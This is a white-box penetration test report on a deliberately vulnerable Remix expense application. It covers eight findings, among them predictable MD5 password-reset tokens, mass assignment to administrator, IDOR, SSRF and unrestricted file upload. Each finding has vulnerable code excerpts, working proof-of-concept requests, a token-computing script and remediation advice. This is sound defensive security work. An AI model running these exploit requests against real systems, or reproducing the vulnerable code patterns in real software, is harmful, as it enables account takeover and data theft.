

Security assessment report
maekuss/DamnVulnerableRemixApp
October 2026

Confidential. Prepared for Hacktron.

HACKTRON

Contents

1. Executive summary 3
2. Scope 3
3. Summary of findings 4
4. Methodology 5
5. Severity rubric 6

6. Findings 6
Vulnerabilities 6
HCK-001 Predictable password-reset tokens permit account takeover 7
HCK-002 Profile mass assignment allows an employee to become an administrator 9
HCK-003 Administrative user management lacks role enforcement 11
HCK-004 Expense details and deletion do not enforce record ownership 13
HCK-005 Receipt import can issue server-side requests to internal services 15
HCK-006 Managers can approve expenses outside their department 17
HCK-007 Receipt import stores unvalidated file types 19
HCK-008 CSV export discloses expenses belonging to other employees 21

7. Limitations and disclaimer 23

1. Executive summary

Hacktron conducted a white-box penetration test using source-code analysis, local testing and validation against the deployed application for Hacktron. This report contains 8 findings identified during the assessment. Severity: 1 critical, 5 high and 2 medium.

Critical	High	Medium	Low	Info
1	5	2	0	0

2. Scope

Testing was limited to the repositories and deployed targets listed below.

Repository	maekuss/DamnVulnerableRemixApp
Branch	main
URL	https://github.com/maekuss/DamnVulnerableRemixApp
Deployed target	https://expenseflow.demo.example

Testing	Authenticated
Access obtained	Customer-provided browser access instructions. Credentials are not included.
Accounts used	Employee A (Alex), Employee B (Blair), Sales manager, Administrator
Access check	Verified on 19 October 2026, before testing started
Assessment	19 October to 23 October 2026

3. Summary of findings

Severity	ID	Finding	Status
Critical	HCK-001	Predictable password-reset tokens permit account takeover	Open
High	HCK-002	Profile mass assignment allows an employee to become an administrator	Open
High	HCK-003	Administrative user management lacks role enforcement	Open
High	HCK-004	Expense details and deletion do not enforce record ownership	Open
High	HCK-005	Receipt import can issue server-side requests to internal services	Open
High	HCK-006	Managers can approve expenses outside their department	Open
Medium	HCK-007	Receipt import stores unvalidated file types	Open
Medium	HCK-008	CSV export discloses expenses belonging to other employees	Open

4. Methodology

Hacktron conducted a white-box penetration test using source-code analysis, local testing and validation against the deployed application.

Assessment stages

1. Map applications, entry points and sensitive operations.
2. Trace attacker-controlled input through the code and review access controls, data handling and business logic.
3. Check exploit paths, preconditions and existing controls.
4. Perform dynamic testing against the deployed application using proof-of-concept requests and application workflows.
5. Validate findings, consolidate duplicates and assign severity and remediation recommendations.

Local testing

Local testing used the reviewed code and focused reproduction scripts to investigate findings, check exploit conditions and develop proof-of-concept steps.

Dynamic testing

Source review and local reproduction guided tests of selected attack paths against the application listed in Scope. Hacktron used proof-of-concept requests and application workflows to test whether the suspected vulnerabilities could be reproduced.

Application responses and observable behaviour were examined to determine whether each tested issue was reproduced and what impact was demonstrated. The findings record the outcome, supporting evidence and any prerequisites needed for reproduction.

Authenticated testing used the accounts and roles listed in Scope.

Validation and evidence

Code analysis and local testing: Code review and local reproduction investigate the vulnerable path and exploit prerequisites.

Dynamic testing: Live Validation records the observed result, supporting evidence and impact demonstrated.

5. Severity rubric

Severity reflects impact on the application and the conditions needed for exploitation. These ratings are Hacktron's own and are not derived from CVSS. External controls and business context unavailable during testing are excluded.

Severity	Definition	Fix window
Critical	Compromises the application, its data, or its users directly, with no meaningful precondition beyond reaching the entry point.	Within 7 days
High	Compromises data or an access control on a path that requires an account, a role, or a plausible precondition.	Within 30 days
Medium	Requires user interaction, a specific configuration, or a narrower set of conditions, or the impact is limited in scope.	Within 90 days
Low	Limited impact on its own. Usually needs to be chained with another issue to cause harm.	Next release cycle
Info	No direct security impact. A hardening opportunity or an observation recorded for completeness.	Best effort

6. Findings

This section presents the 8 findings from the assessment. Each entry states the basis on which it was confirmed; a proof of concept is included where one exists.

Vulnerabilities

These findings have direct security impact and should be prioritized for remediation.

Critical ■ HCK-001

Predictable password-reset tokens permit account takeover

Status	Open
Evidence	Executed against the deployed target; exploit confirmed
Fix window	Within 7 days
Category	Account recovery
CWE	CWE-640 Weak Password Recovery Mechanism

Description

The password-reset token is derived from the target email address and a static string using MD5. An unauthenticated caller who initiates a reset for a known email can compute the same token without access to the mailbox. The security failure is deterministic token generation; substituting a stronger hash alone would not fix it.

The computed token is accepted for a administrator test account account and a subsequent login succeeds. This gives the attacker the victim account's privileges, including administrative functions when the victim is an administrator.

Affected code

app/auth.server.ts:47-58

```
const token = crypto
  .createHash("md5")
  .update(email + "expenseflow-reset-2024")
  .digest("hex");

db.prepare(
  "INSERT INTO password_resets (email, token) VALUES (?, ?)"
).run(email, token);

return token;
```

Live validation

Confirmed against the deployed application

After a reset was requested for the administrator test account, the computed token allowed a password change. A fresh login returned the administrator identity. No access to the recovery mailbox was required.

Impact

A deterministic token can be computed from public account information and a static application constant.

The recovery flow accepts that token for an active reset request.

A subsequent login has the victim administrator role.

No customer account, external identity provider or production mailbox was accessed.

Recommendation

Generate reset tokens with a cryptographically secure random generator using at least 256 bits of entropy.

Store only a hash of the token, bind it to the intended account and purpose, impose a short expiry, and invalidate it atomically after successful use.

Invalidate earlier reset tokens when a new one is issued.

Rate-limit recovery attempts and verify that invalid, expired and reused tokens all fail.

Proof of concept

1. Use only the administrator test account `admin@expenseflow.example`.

2. Initiate the password-recovery workflow to create an active reset record.

```
POST /forgot-password  [email=admin@expenseflow.example]     Output
HTTP/1.1 200 OK
```

3. Compute the deterministic token below, then open `/reset-password/<token>`.

```
import hashlib                                                Input
email = "admin@expenseflow.example"
salt = "expenseflow-reset-2024"
token = hashlib.md5((email + salt).encode()).hexdigest()
print(token)
```

```
Computed token: 500096eab5bc8b16c1bd89d930479a74              Output
GET /reset-password/500096eab5bc8b16c1bd89d930479a74
HTTP/1.1 200 OK
```

4. Submit a new password for the disposable account and verify login. A random token provides the negative control.

```
POST /reset-password/500096eab5bc8b16c1bd89d930479a74         Output
HTTP/1.1 302 Found
Location: /login

Follow-up login: 302 Found; role=admin
Random-token control: 400 Bad Request
```

5. Restore the seeded account after testing.

References

https://cwe.mitre.org/data/definitions/640.html

Repository

https://github.com/maekuss/DamnVulnerableRemixApp

High ■ HCK-002

Profile mass assignment allows an employee to become an administrator

Status	Open
Evidence	Executed against the deployed target; exploit confirmed
Fix window	Within 30 days
Category	Mass assignment
CWE	CWE-915 Mass Assignment

Description

The profile action copies arbitrary submitted form fields into a database update. It excludes the `intent` field but does not restrict updates to safe profile attributes. A standard employee can add `role=admin` to a legitimate update request and change a server-managed authorization attribute.

Testing demonstrated both the role change and access to an administrative route using the same session. Authentication is required, but administrative approval is not.

Affected code

app/routes/profile.tsx:15-37

```
for (const [key, value] of formData.entries()) {
  if (key !== "intent" && value) {
    updates[key] = value;
  }
}
const fields = Object.keys(updates);
const setClause = fields.map((f) => `${f} = ?`).join(", ");
const values = fields.map((f) => updates[f]);
db.prepare(`UPDATE users SET ${setClause} WHERE id = ?`)
  .run(...values, user.id);
```

Live validation

Confirmed against the deployed application

The employee test account submitted a profile update containing `role=admin`. The updated account then reached an administrative route. A separate untouched employee session was denied access to that route.

Impact

The profile update changes a protected role attribute.

The changed role is enforced on a subsequent administrative request.

Testing did not assess any external administrator approval or monitoring process.

Recommendation

Allowlist editable profile fields and build the update from that fixed schema.

Reject unexpected fields.

Keep roles and other security attributes out of the self-service profile endpoint.

Require explicit administrator authorization for role changes and test that employee requests containing protected fields cannot change them.

Proof of concept

1. Sign in as the employee test account Alex and record the current role.

```
Before: user_id=101; role=employee                    Output
```

2. Submit the ordinary profile form with an additional `role=admin` field.

```
POST /profile HTTP/1.1                                Input
Host: expenseflow.demo.example
Cookie: __session=[REDACTED]
Content-Type: application/x-www-form-urlencoded

name=Alex&role=admin
```

```
HTTP/1.1 302 Found                                    Output
Location: /profile
```

3. Reload the profile and request the administrative dashboard.

```
After: user_id=101; role=admin                        Output
GET /admin/settings: 200 OK
```

4. Compare the resulting privileges with a clean employee session, then reset Alex's role.

```
Control (unchanged employee): 403 Forbidden           Output
```

References

https://cwe.mitre.org/data/definitions/915.html

Repository

https://github.com/maekuss/DamnVulnerableRemixApp

High ■ HCK-003

Administrative user management lacks role enforcement

Status	Open
Evidence	Executed against the deployed target; exploit confirmed
Fix window	Within 30 days
Category	Broken access control
CWE	CWE-862 Missing Authorization

Description

The user-management loader and action require an authenticated session but do not require an administrator role. An employee can enumerate accounts and invoke administrative actions directly. Hiding links in the interface does not protect these server-side entry points.

An employee changes a second disposable employee's role through `/admin/users`. This path is independent of the profile mass-assignment issue and requires its own authorization check.

Affected code

`app/routes/admin.users.tsx:7-27`

```
// Relevant authorization excerpts
export async function loader({ request }: LoaderFunctionArgs) {
  await requireUser(request);
  // User-management data is returned without an admin check.
}

export async function action({ request }: ActionFunctionArgs) {
  await requireUser(request);
  // Privileged user-management actions follow.
}
```

Live validation

Confirmed against the deployed application

A clean employee session retrieved the user-management page and changed another disposable account to administrator. The unauthenticated control was redirected to login, isolating the failure to authorization rather than authentication.

Impact

An employee session can reach the administrative user listing.

An employee can perform a role-change action on a second test account.

Account deletion was not exercised; the role-change action was sufficient to demonstrate the boundary failure.

Recommendation

Enforce an administrator authorization check in both the loader and action before reading user data or applying mutations.

Centralize the policy so new actions inherit it.

Add role-based regression cases for unauthenticated users, employees, managers and administrators, and record privileged changes in an audit log.

Proof of concept

1. Start with a fresh employee session that has not used the profile escalation.

```
Actor: user_id=101; role=employee                                Output
```

2. Request /admin/users and check whether account records are returned.

```
GET /admin/users: 200 OK; test accounts=4                        Output
```

3. Submit the role-change action for the disposable employee with ID 202.

```
POST /admin/users HTTP/1.1                                       Input
Host: expenseflow.demo.example
Cookie: __session=[EMPLOYEE_SESSION_REDACTED]
Content-Type: application/x-www-form-urlencoded

intent=update_role&user_id=202&role=admin
```

```
HTTP/1.1 302 Found                                               Output
Location: /admin/users
```

4. Verify the change through the administrator fixture, then restore the original role.

```
Read-back: user_id=202; role=admin                               Output
```

5. Repeat without a session as a negative control.

```
Unauthenticated control: 302 Found; Location: /login             Output
```

References

https://cwe.mitre.org/data/definitions/862.html

Repository

https://github.com/maekuss/DamnVulnerableRemixApp

High ■ HCK-004

Expense details and deletion do not enforce record ownership

Status	Open
Evidence	Executed against the deployed target; exploit confirmed
Fix window	Within 30 days
Category	Broken access control
CWE	CWE-639 Authorization Bypass Through User-Controlled Key

Description

Expense retrieval and deletion use a request-controlled ID without enforcing record ownership or privileged-role authorization. An employee can substitute another user's expense ID to disclose financial details or delete the record.

Testing used two employee accounts and disposable expenses. Both operations share one missing ownership check and are grouped as one finding.

Affected code

app/routes/expenses.$id.tsx

```
// Relevant loader excerpt
await requireUser(request);
const expense = db.prepare(
  "SELECT ... WHERE e.id = ?"
).get(params.id);
// No expense-owner authorization check is applied here.
```

Live validation

Confirmed against the deployed application

Alex's session read and deleted Blair's disposable expense. The test fixtures established distinct owners before the request, and a follow-up owner request confirmed the deletion.

Impact

One employee can read another employee test account's expense.

The same session can delete that disposable expense.

Bulk extraction and downstream accounting impact were not measured.

Recommendation

Enforce owner and department authorization in every expense read and mutation query.

Define privileged-role exceptions explicitly.

Add cross-user regression tests for read, update and delete.

Random identifiers must not replace authorization.

Proof of concept

1. Create an expense owned by Alex and a separate disposable expense owned by Blair.

```
Fixture: expense_id=4102; owner_id=202                    Output
Actor: user_id=101; role=employee
```

2. With Alex's session, request Blair's expense ID 4102.

```
GET /expenses/4102 HTTP/1.1                               Input
Host: expenseflow.demo.example
Cookie: __session=[ALEX_SESSION_REDACTED]
```

```
GET /expenses/4102: 200 OK                                Output
```

3. Compare the returned owner and amount with Blair's fixture.

```
Returned: owner_id=202; amount=128.40; currency=GBP       Output
```

4. Send POST /expenses/4102 with intent=delete, then check that the disposable record is absent.

```
POST /expenses/4102  [intent=delete]                      Output
HTTP/1.1 302 Found
Location: /expenses
Owner follow-up: 404 Not Found
```

5. Use an unauthenticated request as the control and restore the test dataset.

```
Unauthenticated control before deletion: 302 Found; /login  Output
```

References https://cwe.mitre.org/data/definitions/639.html
Repository https://github.com/maekuss/DamnVulnerableRemixApp

High ■ HCK-005

Receipt import can issue server-side requests to internal services

Status	Open
Evidence	Executed against the deployed target; partially confirmed
Fix window	Within 30 days
Category	Server-side request forgery
CWE	CWE-918 Server-Side Request Forgery

Description

The expense-creation action fetches a caller-supplied `receipt_url` without restricting its resolved destination. A logged-in user can cause the application server to request internal HTTP services reachable from its network. A valid session is required.

Testing confirmed a request to a controlled private-network marker service. It does not prove access to cloud metadata, credentials or other internal systems. The verdict is partially confirmed because those broader impact claims remain outside the demonstrated evidence.

Affected code

`app/routes/expenses.new.tsx:7-51`

```
const receiptUrl = formData.get("receipt_url") as string;
if (receiptUrl) {
  const response = await fetch(receiptUrl);
  // The response is processed as a receipt.
}
```

Live validation

Partially confirmed against the deployed application

The controlled private marker service logged an inbound request from the application after the receipt-import submission. The unique path correlated the callback to the request. No metadata or credential endpoint was tested.

Impact

A request-controlled receipt URL causes a server-side fetch.

The fetch reaches one controlled private-network HTTP service.

Cloud metadata access, credential retrieval and arbitrary internal network access were not established.

Redirect and DNS-rebinding variants were not exercised.

Recommendation

Apply a strict receipt-source policy. Permit only intended schemes and destinations, resolve DNS and reject loopback, link-local, private and reserved addresses where they are not explicitly required.

Revalidate every redirect destination and guard against DNS rebinding.

Restrict outbound network access, enforce time and size limits, and separate untrusted receipt retrieval from sensitive network services.

Proof of concept

1. Place a harmless marker service at `http://10.77.0.8:8080` inside the test network.

2. Submit an expense whose receipt URL points to `/receipt-marker/SSRF-104`.

```
POST /expenses/new HTTP/1.1                                          Input
Host: expenseflow.demo.example
Cookie: __session=[REDACTED]
Content-Type: application/x-www-form-urlencoded

title=Marker&amount=10&category=Other&
receipt_url=http%3A%2F%2F10.77.0.8%3A8080%2Freceipt-marker%2FSSRF-
104
```

```
HTTP/1.1 302 Found                                                   Output
Location: /expenses
```

3. Correlate the unique marker with the internal service request log.

```
Internal service log:                                                Output
2026-10-21T11:18:04Z src=10.77.0.12
GET /receipt-marker/SSRF-104 HTTP/1.1
response=200; bytes=42; marker=SSRF-104
```

4. Submit a normal public image URL as a workflow control.

```
Public image control: accepted                                       Output
```

5. Do not request real metadata services or third-party internal hosts.

References

https://cwe.mitre.org/data/definitions/918.html

Repository

https://github.com/maekuss/DamnVulnerableRemixApp

High ■ HCK-006

Managers can approve expenses outside their department

Status	Open
Evidence	Executed against the deployed target; exploit confirmed
Fix window	Within 30 days
Category	Broken access control
CWE	CWE-862 Missing Authorization

Description

The expense approval action checks whether the user is a manager or administrator, but it does not verify that the selected expense falls within that manager's department. Changing expense_id allows a manager to approve an unrelated department's pending expense.

A manager assigned to Sales approves a Engineering test expense. The application records the manager as approver despite the department mismatch. No payment or reimbursement is initiated during testing.

Affected code

app/routes/api.expenses.ts:6-47

```
const expense = db.prepare(
  "SELECT * FROM expenses WHERE id = ?"
).get(expenseId) as any;

if (!expense) {
  return json({ error: "Expense not found" }, { status: 404 });
}

if (action === "approve") {
  // Missing check: manager can approve this expense
  db.prepare(
    "UPDATE expenses SET status = 'approved', " +
    "approved_by = ?, approved_at = CURRENT_TIMESTAMP " +
    "WHERE id = ?"
  ).run(user.id, expenseId);
}
```

Live validation

Confirmed against the deployed application

The Sales manager approved an Engineering expense. Fixture read-back showed both the approved state and the unauthorized manager's user ID. A standard employee control was rejected.

Impact

A valid manager role passes the action's general role check.

The action applies to an expense outside that manager's department.

Downstream reimbursement, monetary loss and denial-action behavior were not tested.

Recommendation

Evaluate the manager's authority over the selected expense and department on the server.

Bind the authorization decision and state change in the same transaction or conditional update to avoid races.

Define administrator exceptions explicitly.

Add regression cases for cross-department approval, employee requests and already-processed expenses.

Proof of concept

1. Sign in as the Sales manager test account, user 303.

```
Actor: user_id=303; role=manager; department=Sales                Output
```

2. Establish that pending expense 4201 belongs to Engineering.

```
Fixture: expense_id=4201; department=Engineering; pending         Output
```

3. Submit an approval for that expense and verify the resulting state through the fixture.

```
POST /api/expenses HTTP/1.1                                       Input
Host: expenseflow.demo.example
Cookie: __session=[SALES_MANAGER_SESSION_REDACTED]
Content-Type: application/x-www-form-urlencoded

expense_id=4201&action=approve
```

```
HTTP/1.1 200 OK                                                   Output
{"success":true}
Read-back: expense_id=4201; approved; approved_by=303
```

4. Repeat with an employee session to confirm that the general role check still applies.

```
Employee control: 403 Forbidden                                   Output
```

5. Restore the pending fixture; do not initiate reimbursement.

References

https://cwe.mitre.org/data/definitions/862.html

Repository

https://github.com/maekuss/DamnVulnerableRemixApp

Medium ■ HCK-007

Receipt import stores unvalidated file types

Status	Open
Evidence	Executed against the deployed target; partially confirmed
Fix window	Within 90 days
Category	Unrestricted file upload
CWE	CWE-434 Unrestricted File Upload

Description

The receipt importer derives a filename extension from the supplied URL and persists the fetched bytes without validating the file's media type or signature. Non-receipt content can therefore be stored through a feature intended for receipts.

Testing confirmed acceptance and storage of a harmless HTML marker. It does not establish browser execution or server-side execution. The Medium rating reflects the demonstrated file-validation failure; remote code execution is not claimed.

Affected code

app/routes/expenses.new.tsx:7-51

```
const ext = receiptUrl.split(".").pop()?.split("?")[0] || "pdf";
const filename = `receipt_${user.id}_${Date.now()}.${ext}`;
const filePath = path.join(
  process.cwd(), "data", "receipts", filename
);
fs.writeFileSync(filePath, buffer);
```

Live validation

Partially confirmed against the deployed application

A harmless HTML marker was accepted and stored with an `.html` extension. The normal PDF workflow also succeeded. Serving behavior and execution were not established, so the validation verdict is partial.

Impact

Non-receipt bytes are accepted through the importer.

The caller-controlled URL suffix influences the stored extension.

Same-origin HTML execution, public retrieval and remote code execution were not established.

Recommendation

Allowlist supported receipt formats, check signatures and actual media type, and reject HTML and executable formats.

Choose server-generated filenames and extensions.

Keep uploads outside executable or same-origin active-content paths, serve them as attachments where suitable, set `X-Content-Type-Options: nosniff`, and enforce size limits.

Proof of concept

1. Host a harmless static file at `https://receipts.demo.example/marker.html`.

2. Submit that URL through the receipt-import workflow.

```
POST /expenses/new HTTP/1.1                                          Input
Host: expenseflow.demo.example
Cookie: __session=[REDACTED]
Content-Type: application/x-www-form-urlencoded

title=File+validation&amount=10&category=Other&
receipt_url=https%3A%2F%2Freceipts.demo.example%2Fmarker.html
```

```
HTTP/1.1 302 Found                                                   Output
Location: /expenses
```

3. Check the stored filename and bytes using the test fixture.

```
Stored path: data/receipts/receipt_101_1792579200000.html    Output
Body: <!doctype html><title>RECEIPT-MARKER-107</title>
```

4. Compare with an ordinary PDF receipt.

```
PDF control: accepted and stored                                     Output
```

5. Remove the marker after testing. Do not use a web shell or executable payload.

References https://cwe.mitre.org/data/definitions/434.html
Repository https://github.com/maekuss/DamnVulnerableRemixApp

Medium ■ HCK-008

CSV export discloses expenses belonging to other employees

Status	Open
Evidence	Executed against the deployed target; exploit confirmed
Fix window	Within 90 days
Category	Broken access control
CWE	CWE-862 Missing Authorization

Description

The CSV export applies broader data access than the employee-facing expense view. An authenticated employee can request a report containing expenses owned by other users. The export therefore bypasses the intended record-ownership boundary and discloses financial and identity data.

The export contained three employees' records and demonstrated cross-user disclosure through a single download. The total number of exposed records was not measured.

Affected code

app/routes/api.export.ts:5-30

```
await requireUser(request);
const expenses = db.prepare(
  `SELECT e.*, u.name as submitter_name,
          u.email as submitter_email
   FROM expenses e
   JOIN users u ON e.user_id = u.id
   ORDER BY e.created_at DESC`
).all();
// No owner or department predicate is applied.
```

Live validation

Confirmed against the deployed application

Alex downloaded a CSV containing Blair's and a third employee test account's records. Those owners were distinct in the fixture. An unauthenticated request was redirected to login.

Impact

The employee export includes records owned by other test users.

The response contains financial amounts and employee email addresses.

Production record counts and exposure outside the tested environment were not established.

Recommendation

Apply the same object and department authorization policies to exports as to interactive views.

Filter records in the database query before serialization, explicitly authorize bulk export roles, and minimize fields.

Add an export regression test that asserts an employee cannot receive other users' records.

Proof of concept

1. Create test expenses for multiple users.

2. Sign in as Alex, who owns only one of those records.

3. Request the CSV export from the employee session.

Input

```
GET /api/export HTTP/1.1
Host: expenseflow.demo.example
Cookie: __session=[ALEX_SESSION_REDACTED]
```

Output

```
GET /api/export: HTTP/1.1 200 OK
Content-Type: text/csv
Content-Disposition: attachment; filename="expenses.csv"

expense_id,email,amount,currency
4101,alex@expenseflow.example,42.10,GBP
4102,blair@expenseflow.example,128.40,GBP
4103,casey@expenseflow.example,76.00,GBP
```

4. Compare the exported owners with Alex's permitted dataset.

5. Repeat without a session as the authentication control.

Output

```
Unauthenticated control: 302 Found; Location: /login
```

References

https://cwe.mitre.org/data/definitions/862.html

Repository

https://github.com/maekuss/DamnVulnerableRemixApp

7. Limitations and disclaimer

Testing covers the source code and deployed application during the dates listed in Scope. Later changes were not reviewed.

Results cover the paths and controls examined during testing. Additional vulnerabilities may remain.

Unless listed in Scope, testing excluded transport and TLS configuration, dependency and supply-chain analysis (SCA), secret scanning and credential hygiene, cloud and infrastructure configuration, denial-of-service and load testing, social engineering and physical security, and third-party services outside the repositories listed in Scope.

The application owner is responsible for remediation. Recommended fixes have not been retested.

Prepared for Hacktron. This report is confidential and should be shared only with authorized recipients.